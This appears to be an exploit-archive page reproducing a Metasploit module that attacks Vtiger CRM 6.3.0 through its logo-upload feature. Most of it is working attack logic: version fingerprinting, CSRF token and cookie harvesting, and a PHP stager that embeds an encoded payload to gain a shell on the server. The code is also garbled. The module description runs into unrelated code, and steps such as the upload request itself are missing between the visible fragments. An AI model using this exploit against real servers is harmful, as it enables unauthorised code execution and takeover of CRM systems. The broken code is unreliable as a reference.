Exploits / Vulnerability Discovered : 2018-03-30 |
Type : webapps |
Platform : php
This exploit / vulnerability Vtiger crm 6.3.0 (authenticated) arbitrary file upload (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload',
'Description' => %q{
Vtiger 6.3.0 CRM's administration interface allows for the upload of
a company logo.
Instead of uploading an image, an attacker may choose to upload a
file containing PHP code and
run this code by accessing the resulting PHP file.
# Some PHP version uses php_short_code=ON
register_advanced_options(
[
OptBool.new('PHPSHORTTAG', [ false, 'Set a short_open_tag
option', false ])
], self.class)
end
def check
res = nil
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,
'index.php') })
rescue
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end
if res and res.code != 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end
if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
vprint_status("vTiger CRM version: " + $1)
case $1
when '6.3.0'
return Exploit::CheckCode::Vulnerable
else
return CheckCode::Detected
end
end
return CheckCode::Safe
end
# Login Function.
def login
# Dummy Request for grabbing CSRF token and PHPSESSION ID
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}:#{rport}",
})
# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
CSRF token") if csrf.nil?
vprint_good("CSRF Token for login: #{csrf}")
# Make a payload raw. I added this bcz when i making this module.
server have short_open_tag=ON
vprint_warning("Payload Generate according to
short_open_tag=#{datastore['PHPSHORTTAG']}")
if datastore['PHPSHORTTAG'] == true
stager = '<? '
stager << payload.encode
stager << ' ?>'
else
stager = '<?php '
stager << payload.encode
stager << ' ?>'
end
# Again request for CSRF_token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}:#{rport}",
'cookie' => cookie
})
# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
CSRF token") if csrf.nil?
vprint_good("CSRF Token for Form Upload: #{csrf}")
# If we don't get a 200 when we request our malicious payload, we
suspect
# we don't have a shell, either.
if res && res.code != 200
print_error("Unexpected response, probably the exploit failed")
end